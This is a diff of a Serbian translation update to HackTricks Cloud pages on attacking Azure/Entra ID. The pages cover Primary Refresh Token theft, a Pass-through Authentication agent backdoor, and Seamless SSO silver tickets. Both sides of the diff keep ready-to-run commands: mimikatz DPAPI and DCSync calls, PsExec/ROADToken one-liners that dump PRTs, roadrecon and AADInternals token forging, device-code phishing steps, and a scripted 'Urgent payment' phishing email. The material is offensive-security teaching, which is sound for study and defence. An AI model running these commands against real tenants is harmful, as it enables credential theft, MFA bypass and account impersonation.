2. **Sesijski ključ se zatim izvlači**. S obzirom na to da se ovaj ključ prvobitno izdaje i zatim ponovo šifruje od strane lokalnog uređaja, neophodno je dešifrovanje pomoću DPAPI master ključa. Detaljne informacije o DPAPI (API za zaštitu podataka) mogu se naći u ovim resursima: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) i za razumevanje njegove primene, pogledajte [Napad na kolačić](az-pass-the-cookie.md).
|
||||
3. Nakon dešifrovanja sesijskog ključa, **izvedeni ključ i kontekst za PRT se dobijaju**. Ovi su ključni za **kreiranje PRT kolačića**. Konkretno, izvedeni ključ se koristi za potpisivanje JWT (JSON Web Token) koji čini kolačić. Sveobuhvatno objašnjenje ovog procesa je pružio Dirk-jan, dostupno [ovde](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
```bash
|
||||
privilege::debug
|
||||
@@ -91,28 +91,28 @@ dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
# PowerShell version
|
||||
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'
|
||||
```
|
||||
`token::elevate` će imitirati SYSTEM, a komanda `dpapi::cloudapkd` sa `/unprotect` će koristiti DPAPI master ključ za dekriptovanje datog KeyValue blob-a. Ovo daje ključ sesije u čistom tekstu, kao i povezani Derived Key i Context koji se koriste za potpisivanje:
|
||||
`token::elevate` će imitirati SYSTEM, a `dpapi::cloudapkd` komanda sa `/unprotect` će koristiti DPAPI master ključ za dekriptovanje datog KeyValue blob-a. Ovo daje ključ sesije u čistom tekstu, kao i povezani Derived Key i Context koji se koriste za potpisivanje:
|
||||
- **Clear key** – 32-bajtni ključ sesije u čistom tekstu (predstavljen kao heksadecimalni string).
|
||||
- **Derived Key** – 32-bajtni ključ izveden iz ključa sesije i vrednosti konteksta (više o ovome u nastavku).
|
||||
- **Context** – 24-bajtni nasumični kontekst koji je korišćen prilikom dobijanja ključa za potpisivanje za PRT kolačić.
|
||||
- **Context** – 24-bajtni nasumični kontekst koji je korišćen prilikom izvođenja ključa za potpisivanje za PRT kolačić.
|
||||
|
||||
> [!NOTE]
|
||||
> Ako ovo ne funkcioniše za vas da imitira korisnika, proverite sledeću sekciju koristeći **`AADInternals`**.
|
||||
|
||||
Zatim, možete koristiti i mimikatz za generisanje validnog PRT kolačića:
|
||||
Zatim, možete takođe koristiti mimikatz za generisanje validnog PRT kolačića:
|
||||
```bash
|
||||
# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
|
||||
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
|
||||
```
|
||||
Mimikatz će ispisati potpisani JWT ( `PRT cookie` ) nakon linije “Signature with key”, koji sadrži PRT i potpisan je korišćenjem dobijenog ključa. Ovaj JWT se može kopirati i zatim koristiti u web sesiji. Na primer, napadač može otvoriti pregledač, otići na `login.microsoftonline.com`, i postaviti kolačić nazvan `x-ms-RefreshTokenCredential` sa vrednošću ovog JWT-a. Kada se pregledač osveži ili navigira, Azure AD će tretirati sesiju kao autentifikovanu (PRT kolačić se prikazuje kao da je došlo do SSO), i izdaće autorizacioni kod ili pristupni token za određeni resurs. U praksi, korisnik bi navigirao do resursa kao što su Office 365 ili Azure portal; prisustvo validnog PRT kolačića znači da će Azure AD omogućiti pristup bez dodatnog prijavljivanja (obići MFA, pošto je PRT već autentifikovan).
|
||||
Mimikatz će ispisati potpisani JWT ( `PRT cookie` ) nakon linije “Signature with key”, koji sadrži PRT i potpisan je korišćenjem dobijenog ključa. Ovaj JWT se može kopirati i zatim koristiti u web sesiji. Na primer, napadač može otvoriti pregledač, otići na `login.microsoftonline.com`, i postaviti kolačić nazvan `x-ms-RefreshTokenCredential` sa vrednošću ovog JWT-a. Kada se pregledač osveži ili navigira, Azure AD će tretirati sesiju kao autentifikovanu (PRT kolačić se prikazuje kao da je došlo do SSO), i izdaće autorizacioni kod ili pristupni token za određeni resurs. U praksi, korisnik bi navigirao do resursa kao što su Office 365 ili Azure portal; prisustvo validnog PRT kolačića znači da će Azure AD omogućiti pristup bez dodatnog prijavljivanja (zaobilazeći MFA, pošto je PRT već autentifikovan).
|
||||
|
||||
Takođe možete koristiti **`roadtx`** i **`roadrecon`** sa PRT-om PRT kolačića da biste se pretvarali da ste korisnik *(TODO: Pronaći tačne komande za korišćenje roadtx/roadrecon za dobijanje kredencijala iz PRT-a)*.
|
||||
|
||||
### Mimikatz + AADInternals
|
||||
|
||||
**`AADInternals`** PowerShell modul se takođe može koristiti sa prethodno dobijenim PRT-om i ključem sesije za generisanje validnog PRT tokena. Ovo je korisno za automatizaciju procesa dobijanja novog PRT tokena sa nonce-om, koji se može koristiti za dobijanje pristupnih tokena za Azure AD Graph API ili druge resurse:
|
||||
**`AADInternals`** PowerShell modul se takođe može koristiti sa prethodno dobijenim PRT-om i sesijskim ključem za generisanje validnog PRT tokena. Ovo je korisno za automatizaciju procesa dobijanja novog PRT tokena sa nonce-om, koji se može koristiti za dobijanje pristupnih tokena za Azure AD Graph API ili druge resurse:
|
||||
```bash
|
||||
# Code from https://aadinternals.com/post/prt/
|
||||
# Add the PRT to a variable
|
||||
@@ -153,7 +153,7 @@ roadtx describe < .roadtools_auth
|
||||
|
||||
#### Mimikatz + roadrecon
|
||||
|
||||
Imajući kontekst i izvučeni ključ koji je dumpovao mimikatz, moguće je koristiti roadrecon za generisanje novog potpisanog kolačića sa:
|
||||
Imajući kontekst i izvučeni ključ pomoću mimikatz-a, moguće je koristiti roadrecon za generisanje novog potpisanog kolačića sa:
|
||||
```bash
|
||||
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
|
||||
```
|
||||
@@ -169,7 +169,7 @@ Savremeni Windows upravlja cloud autentifikacijom putem ugrađene **token broker
|
||||
|
||||
- **Web Account Manager (WAM):** Windows Web Account Manager je okvir u režimu korisnika (dostupan putem COM/WinRT API-ja) koji omogućava aplikacijama ili pretraživačima da traže tokene za cloud naloge bez traženja kredencijala. WAM deluje kao posrednik između korisničkih aplikacija i sigurnog LSASS/TPM podržanog PRT-a. Na primer, Microsoftova MSAL biblioteka i određene komponente OS-a koriste WAM da tiho dobiju tokene koristeći PRT prijavljenog korisnika.
|
||||
|
||||
- **BrowserCore.exe i Token Broker COM interfejsi:** Za SSO u pretraživaču, Windows uključuje komponentu pod nazivom **BrowserCore.exe** (nalazi se pod *Windows Security\BrowserCore*). Ovo je domaći host za poruke koji koriste pretraživači (Edge, Chrome putem ekstenzije, itd.) da dobiju SSO token izveden iz PRT-a za Azure AD prijavu. U pozadini, BrowserCore koristi COM objekat koji pruža `MicrosoftAccountTokenProvider.dll` da preuzme kolačić/token zasnovan na PRT-u. U suštini, ovaj COM interfejs je API "token brokera" prvog lica koji bilo koji proces koji radi kao korisnik može pozvati da dobije SSO token (pod uslovom da korisnik ima važeći PRT u LSASS-u).
|
||||
- **BrowserCore.exe i Token Broker COM interfejsi:** Za SSO u pretraživaču, Windows uključuje komponentu pod nazivom **BrowserCore.exe** (nalazi se pod *Windows Security\BrowserCore*). Ovo je domaći host za poruke koji koriste pretraživači (Edge, Chrome putem ekstenzije, itd.) da dobiju SSO token izveden iz PRT-a za Azure AD prijavu. U pozadini, BrowserCore koristi COM objekat koji pruža `MicrosoftAccountTokenProvider.dll` da dohvati kolačić/token zasnovan na PRT-u. U suštini, ovaj COM interfejs je API "token brokera" prvog lica koji bilo koji proces koji radi kao korisnik može pozvati da dobije SSO token (pod uslovom da korisnik ima važeći PRT u LSASS-u).
|
||||
|
||||
Kada korisnik povezan sa Azure AD pokuša da pristupi resursu (recimo, Azure Portal), tok je obično: aplikacija poziva WAM ili BrowserCore-ov COM interfejs, koji zatim komunicira sa LSASS-om. LSASS koristi PRT i sesijski ključ (zaštićen TPM-om) da proizvede **SSO token** -- često nazvan **PRT kolačić** -- koji se zatim vraća aplikaciji ili pretraživaču. PRT kolačić je poseban JWT koji sadrži enkriptovani PRT i nonce, potpisan ključem izvedenim iz sesijskog ključa PRT-a. Ovaj kolačić se šalje Azure AD (u `x-ms-RefreshTokenCredential` header-u) da dokaže da uređaj i korisnik imaju važeći PRT, omogućavajući Azure AD da izda standardne OAuth tokene za osvežavanje i pristup raznim aplikacijama. Važno je napomenuti da će svaka tvrdnja o višefaktorskoj autentifikaciji (MFA) prisutna u PRT-u biti preneta u tokene dobijene putem ovog SSO procesa, što znači da tokeni izvedeni iz PRT-a mogu zadovoljiti resurse zaštićene MFA.
|
||||
|
||||
@@ -179,7 +179,7 @@ Kada napadač ima **izvršavanje koda na korisničkom nivou**, TPM zaštita PRT-
|
||||
|
||||
#### **BrowserCore (MicrosoftAccountTokenProvider COM)**
|
||||
|
||||
BrowserCore izlaže COM klasu (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) za preuzimanje PRT kolačića. Ovaj COM API se legitimno poziva od strane pretraživača (Chrome/Edge ekstenzije) za Azure AD SSO.
|
||||
BrowserCore izlaže COM klasu (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) za dobijanje PRT kolačića. Ovaj COM API se legitimno poziva od strane pretraživača (Chrome/Edge ekstenzije) za Azure AD SSO.
|
||||
|
||||
- **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)**
|
||||
```bash
|
||||
@@ -220,7 +220,7 @@ Kao jedinstvena linija:
|
||||
```bash
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
Zatim možete koristiti **generisanu kolačić** da **generišete tokene** za **prijavu** koristeći Azure AD **Graph** ili Microsoft Graph:
|
||||
Zatim možete koristiti **generisani kolačić** za **generisanje tokena** za **prijavu** koristeći Azure AD **Graph** ili Microsoft Graph:
|
||||
```bash
|
||||
# Generate
|
||||
roadrecon auth --prt-cookie <prt_cookie>
|
||||
@@ -262,9 +262,9 @@ Admin/SISTEM može imitirati aktivne sesije drugih korisnika kako bi pozvao Brow
|
||||
|
||||
Za ovo samo imitirati korisnički proces (npr., `explorer.exe`) i pozvati token broker API-je koristeći bilo koju tehniku komentarisanu u prethodnom odeljku.
|
||||
|
||||
### **Direktna Interakcija sa LSASS & Token Brokerom (Napredno)**
|
||||
### **Direktna Interakcija sa LSASS-om i Token Broker-om (Napredno)**
|
||||
|
||||
Administrator može i dalje raditi sa LSASS-om kako bi zloupotrebio PRT: na primer, admin bi mogao ubrizgati kod u LSASS ili pozvati interne CloudAP funkcije kako bi naterao LSASS da proizvede token. Istraživanje Dirk-jana je primetilo da admin može “interagovati sa PRT ključevima u LSASS-u koristeći kripto API-je”. U praksi, to bi moglo značiti korišćenje LSASS-ovih vlastitih funkcija (putem tehnike kao što je API hooking ili RPC, ako su dostupni) za generisanje PRT kolačića. Drugi pristup je iskoristiti bilo koji prozor u kojem bi sesijski ključ mogao da se pojavi u memoriji – na primer, u trenutku obnavljanja PRT-a ili registracije uređaja kada je nešifrovan za upotrebu. Takvi napadi su znatno složeniji i situacioni. Jedna jednostavnija taktika admina je zloupotreba postojećih token handle-ova ili kešova: LSASS kešira nedavno izdate refresh tokene za aplikacije u memoriji (šifrovane DPAPI-jem). Određeni napadač iz SISTEMA mogao bi pokušati da izvuče ove DPAPI-zaštićene tokene (koristeći korisnikov glavni ključ, koji admin može dobiti) kako bi direktno ukrao refresh tokene za specifične aplikacije. Međutim, najlakša i najopštija metoda ostaje imitacija i korišćenje dokumentovanih token broker interfejsa, pošto oni garantuju da će Azure AD izdati sveže tokene (sa svim pravilnim zahtevima) umesto pokušaja da se razbije šifrovanje.
|
||||
Administrator može i dalje raditi sa LSASS-om kako bi zloupotrebio PRT: na primer, admin bi mogao ubrizgati kod u LSASS ili pozvati interne CloudAP funkcije kako bi naterao LSASS da proizvede token. Istraživanje Dirka-jana je primetilo da admin može “interagovati sa PRT ključevima u LSASS-u koristeći kripto API-je”. U praksi, to bi moglo značiti korišćenje LSASS-ovih vlastitih funkcija (putem tehnike kao što je API hooking ili RPC, ako su dostupni) za generisanje PRT kolačića. Drugi pristup je iskoristiti bilo koji prozor u kojem bi sesijski ključ mogao da se pojavi u memoriji – na primer, u trenutku obnavljanja PRT-a ili registracije uređaja kada je nekriptovan za upotrebu. Takvi napadi su znatno složeniji i situacioni. Jedna jednostavnija taktika admina je zloupotreba postojećih token handle-ova ili keširanja: LSASS kešira nedavno izdate refresh tokene za aplikacije u memoriji (kriptovane sa DPAPI). Određeni napadač iz SISTEMA mogao bi pokušati da izvuče ove DPAPI-zaštićene tokene (koristeći korisnički glavni ključ, koji admin može dobiti) kako bi direktno ukrao refresh tokene za specifične aplikacije. Međutim, najlakša i najopštija metoda ostaje imitacija i korišćenje dokumentovanih token broker interfejsa, pošto oni garantuju da će Azure AD izdati sveže tokene (sa svim pravilnim zahtevima) umesto pokušaja da se razbije enkripcija.
|
||||
|
||||
## Phishing PRT-ova
|
||||
|
||||
@@ -281,7 +281,7 @@ Zloupotreba **OAuth Device Code** toka koristeći **Microsoft Authentication Bro
|
||||
- **Korisnička autentifikacija putem Device Code** koristeći **Broker client ID** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) i **DRS opsege/resurs** (npr., **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** ili **`https://enrollment.manage.microsoft.com/`**).
|
||||
- **Korisnik može registrovati uređaje** u Entra ID (**podrazumevano: dozvoljeno**, ali može biti ograničeno ili kvotirano).
|
||||
- **Nema blokirajućih CA politika** koje **onemogućavaju Device Code** ili **zahtevaju usklađene/hibridne uređaje** za ciljne aplikacije (to neće sprečiti izdavanje PRT-a, ali **hoće** blokirati **korišćenje** za pristup zaštićenim aplikacijama).
|
||||
- **Napadačem kontrolisani host** za pokretanje toka i čuvanje tokena/ključeva uređaja.
|
||||
- **Napadačem kontrolisana mašina** za pokretanje toka i čuvanje tokena/ključeva uređaja.
|
||||
|
||||
**Tok napada**:
|
||||
|
||||
@@ -294,7 +294,7 @@ curl -s -X POST \
|
||||
```
|
||||
2. **Žrtva se prijavljuje na Microsoftovom sajtu** (legit UI) i završava **MFA** → **napadač dobija DRS‑opseg refresh token** za Broker klijent.
|
||||
|
||||
3. **Registrujte rogue uređaj** u tenant-u koristeći taj refresh token (objekat uređaja se kreira i povezuje sa žrtvom).
|
||||
3. **Registrujte zlu uređaj** u tenant-u koristeći taj refresh token (objekat uređaja se kreira i povezuje sa žrtvom).
|
||||
|
||||
4. **Nadogradite na PRT** razmenom **refresh token + identitet/ključevi uređaja** → **PRT** vezan za napadačev uređaj.
|
||||
|
||||
@@ -306,7 +306,7 @@ curl -s -X POST \
|
||||
### Javne alatke i dokazi koncepta
|
||||
|
||||
- [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): Automatizuje OAuth tok, registraciju uređaja i nadogradnje tokena.
|
||||
- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): Skripta sa jednim komandama koja automatizuje phish-to-PRT+WHfB ključeve.
|
||||
- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): Skripta sa jednom komandom koja automatizuje phish-to-PRT+WHfB ključeve.
|
||||
|
||||
## Reference
|
||||
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
# Az - PTA - Pass-through Authentication
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication omogućava vašim korisnicima da **prijave se na aplikacije koje se nalaze na lokaciji i u oblaku koristeći iste lozinke**. Ova funkcija pruža vašim korisnicima bolje iskustvo - jedna lozinka manje za pamćenje, i smanjuje troškove IT podrške jer je manje verovatno da će korisnici zaboraviti kako da se prijave. Kada se korisnici prijave koristeći Microsoft Entra ID, ova funkcija direktno validira lozinke korisnika protiv vašeg lokalnog Active Directory-a.
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication omogućava vašim korisnicima da **prijave se na aplikacije koje se nalaze na lokaciji i u oblaku koristeći iste lozinke**. Ova funkcija pruža vašim korisnicima bolje iskustvo - jedna lozinka manje za pamćenje, i smanjuje troškove IT podrške jer je manje verovatno da će korisnici zaboraviti kako da se prijave. Kada se korisnici prijave koristeći Microsoft Entra ID, ova funkcija direktno validira lozinke korisnika protiv vašeg lokalnog Active Directory-a.
|
||||
|
||||
U PTA **identiteti** su **sinhronizovani** ali **lozinke nisu** kao u PHS.
|
||||
U PTA **identiteti** su **sinhronizovani** ali **lozinke nisu** kao u PHS-u.
|
||||
|
||||
Autentifikacija se validira u lokalnom AD-u, a komunikacija sa oblakom se vrši putem **autentifikacionog agenta** koji radi na **lokalnom serveru** (ne mora biti na lokalnom DC-u).
|
||||
|
||||
### Authentication flow
|
||||
### Tok autentifikacije
|
||||
|
||||
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -21,11 +21,11 @@ Autentifikacija se validira u lokalnom AD-u, a komunikacija sa oblakom se vrši
|
||||
|
||||
> [!WARNING]
|
||||
> Ako napadač **kompromituje** **PTA**, može **videti** sve **akreditive** iz reda (u **čistom tekstu**).\
|
||||
> Takođe može **validirati bilo koje akreditive** prema AzureAD-u (sličan napad kao na Skeleton key).
|
||||
> Takođe može **validirati bilo koje akreditive** za AzureAD (sličan napad kao na Skeleton key).
|
||||
|
||||
### Enumeration
|
||||
### Enumeracija
|
||||
|
||||
From Entra ID:
|
||||
Iz Entra ID:
|
||||
```bash
|
||||
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
|
||||
# Example response:
|
||||
@@ -77,10 +77,10 @@ Ova backdoor će:
|
||||
- Injektovati `PTASpy.dll` u proces `AzureADConnectAuthenticationAgentService`
|
||||
|
||||
> [!NOTE]
|
||||
> Kada se AzureADConnectAuthenticationAgent servis ponovo pokrene, PTASpy se “uklanja” i mora se ponovo instalirati.
|
||||
> Kada se AzureADConnectAuthenticationAgent servis ponovo pokrene, PTASpy se “izbacuje” i mora se ponovo instalirati.
|
||||
|
||||
> [!CAUTION]
|
||||
> Nakon dobijanja **GA privilegija** na oblaku, moguće je **registrovati novi PTA agent** i može se **ponoviti** **prethodni** koraci za **autentifikaciju koristeći bilo koju lozinku** i takođe, **dobiti lozinke u čistom tekstu.**
|
||||
> Nakon dobijanja **GA privilegija** na cloudu, moguće je **registrovati novi PTA agent** i može se **ponoviti** **prethodne** korake za **autentifikaciju koristeći bilo koju lozinku** i takođe, **dobiti lozinke u čistom tekstu.**
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
@@ -95,4 +95,4 @@ seamless-sso.md
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
|
||||
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,20 +1,20 @@
|
||||
# Az - Seamless SSO
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatski **prijavljuje korisnike kada su na svojim korporativnim uređajima** povezanih na vašu korporativnu mrežu. Kada je omogućeno, **korisnici ne moraju da kucaju svoje lozinke da bi se prijavili na Azure AD**, i obično, čak ni da kucaju svoja korisnička imena. Ova funkcija omogućava vašim korisnicima lak pristup vašim aplikacijama u oblaku bez potrebe za dodatnim komponentama na lokaciji.
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatski **prijavljuje korisnike kada su na svojim korporativnim uređajima** povezanih na vašu korporativnu mrežu. Kada je omogućeno, **korisnici ne moraju da kucaju svoje lozinke da bi se prijavili na Azure AD**, a obično ni da kucaju svoja korisnička imena. Ova funkcija omogućava vašim korisnicima lak pristup vašim aplikacijama zasnovanim na oblaku bez potrebe za dodatnim komponentama na lokaciji.
|
||||
|
||||
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
|
||||
|
||||
U suštini, Azure AD Seamless SSO **prijavljuje korisnike** kada su **na PC-u koji je pridružen lokalnoj domeni**.
|
||||
U suštini, Azure AD Seamless SSO **prijavljuje korisnike** kada su **na PC-u pridruženom lokalnoj domeni**.
|
||||
|
||||
Podržava ga i [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) i [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).
|
||||
|
||||
Desktop SSO koristi **Kerberos** za autentifikaciju. Kada je konfigurisan, Azure AD Connect kreira **račun računara pod nazivom `AZUREADSSOACC$`** u lokalnom AD. Lozinka računa `AZUREADSSOACC$` se **šalje u običnom tekstu Entra ID** tokom konfiguracije.
|
||||
|
||||
**Kerberos karte** su **šifrovane** koristeći **NTHash (MD4)** lozinke, a Entra ID koristi poslatu lozinku za dešifrovanje karata.
|
||||
**Kerberos karte** su **enkriptovane** koristeći **NTHash (MD4)** lozinke, a Entra ID koristi poslatu lozinku za dekripciju karata.
|
||||
|
||||
**Entra ID** izlaže **krajnju tačku** (https://autologon.microsoftazuread-sso.com) koja prihvata Kerberos **karte**. Pregledač mašine pridružene domeni prosleđuje karte ovoj krajnjoj tački za SSO.
|
||||
|
||||
@@ -40,7 +40,7 @@ $searcher.FindOne()
|
||||
> Glavna stvar koju treba znati o ovom napadu je da je samo posedovanje TGT-a ili specifičnog TGS-a korisnika koji je sinhronizovan sa Entra ID dovoljno za pristup cloud resursima.\
|
||||
> To je zato što je to tiket koji omogućava korisniku da se prijavi u cloud.
|
||||
|
||||
Da bi dobio taj TGS tiket, napadač treba da ima jedan od sledećih:
|
||||
Da bi se dobio taj TGS tiket, napadač treba da ima jedan od sledećih:
|
||||
- **TGS kompromitovanog korisnika:** Ako kompromitujete sesiju korisnika sa tiketom za `HTTP/autologon.microsoftazuread-sso.com` u memoriji, možete ga koristiti za pristup cloud resursima.
|
||||
- **TGT kompromitovanog korisnika:** Čak i ako nemate jedan, ali je korisnik kompromitovan, možete dobiti jedan koristeći trik lažne TGT delegacije implementiran u mnogim alatima kao što su [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) i [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Hash ili lozinku kompromitovanog korisnika:** SeamlessPass će komunicirati sa kontrolerom domena sa ovom informacijom da generiše TGT, a zatim TGS.
|
||||
@@ -49,7 +49,7 @@ Da bi dobio taj TGS tiket, napadač treba da ima jedan od sledećih:
|
||||
|
||||
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
|
||||
|
||||
Kao što je [objašnjeno u ovom blog postu](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), posedovanje bilo kog od prethodnih zahteva je veoma lako koristiti alat **SeamlessPass** za pristup cloud resursima kao kompromitovani korisnik, ili kao bilo koji korisnik ako imate hash ili lozinku **`AZUREADSSOACC$`** naloga.
|
||||
Kao što je [objašnjeno u ovom blog postu](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), posedovanje bilo kog od prethodnih zahteva je veoma lako koristiti alat **SeamlessPass** za pristup cloud resursima kao kompromitovani korisnik, ili kao bilo koji korisnik ako imate **`AZUREADSSOACC$`** hash ili lozinku naloga.
|
||||
|
||||
Na kraju, sa TGT-om je moguće koristiti alat [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) sa:
|
||||
```bash
|
||||
@@ -69,7 +69,7 @@ Dalje informacije o podešavanju Firefoxa za rad sa seamless SSO mogu se [**pron
|
||||
|
||||
### Dobijanje hash-eva naloga AZUREADSSOACC$
|
||||
|
||||
**Lozinka** korisnika **`AZUREADSSOACC$` nikada se ne menja**. Stoga, domen admin može kompromitovati **hash ovog naloga**, a zatim ga koristiti za **kreiranje silver karata** za povezivanje na Azure sa **bilo kojim on-prem korisnikom koji je sinhronizovan**:
|
||||
**Lozinka** korisnika **`AZUREADSSOACC$` nikada se ne menja**. Stoga, domen administrator može kompromitovati **hash ovog naloga**, a zatim ga koristiti za **kreiranje silver karata** za povezivanje na Azure sa **bilo kojim on-prem korisnikom koji je sinhronizovan**:
|
||||
```bash
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
@@ -91,9 +91,9 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
> Sa trenutnim informacijama možete jednostavno koristiti alat **SeamlessPass** kao što je prethodno navedeno da dobijete azure i entraid tokene za bilo kog korisnika u domenu.
|
||||
> Takođe možete koristiti prethodne tehnike (i druge) da dobijete hash lozinke žrtve koju želite da imitirate umesto `AZUREADSSOACC$` naloga.
|
||||
|
||||
#### Kreiranje Silver karata
|
||||
#### Kreiranje Silver Tiketa
|
||||
|
||||
Sa hash-om sada možete **generisati silver karte**:
|
||||
Sa hash-om sada možete **generisati silver tikete**:
|
||||
```bash
|
||||
# Get users and SIDs
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
@@ -108,7 +108,7 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
|
||||
## Send email
|
||||
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
|
||||
```
|
||||
### Korišćenje Silver Tickets sa Firefox-om
|
||||
### Korisćenje Silver Tickets sa Firefox-om
|
||||
|
||||
Da biste iskoristili silver ticket, sledeći koraci treba da se izvrše:
|
||||
|
||||
@@ -188,4 +188,4 @@ Ako administratori Active Directory imaju pristup Azure AD Connect, mogu **posta
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user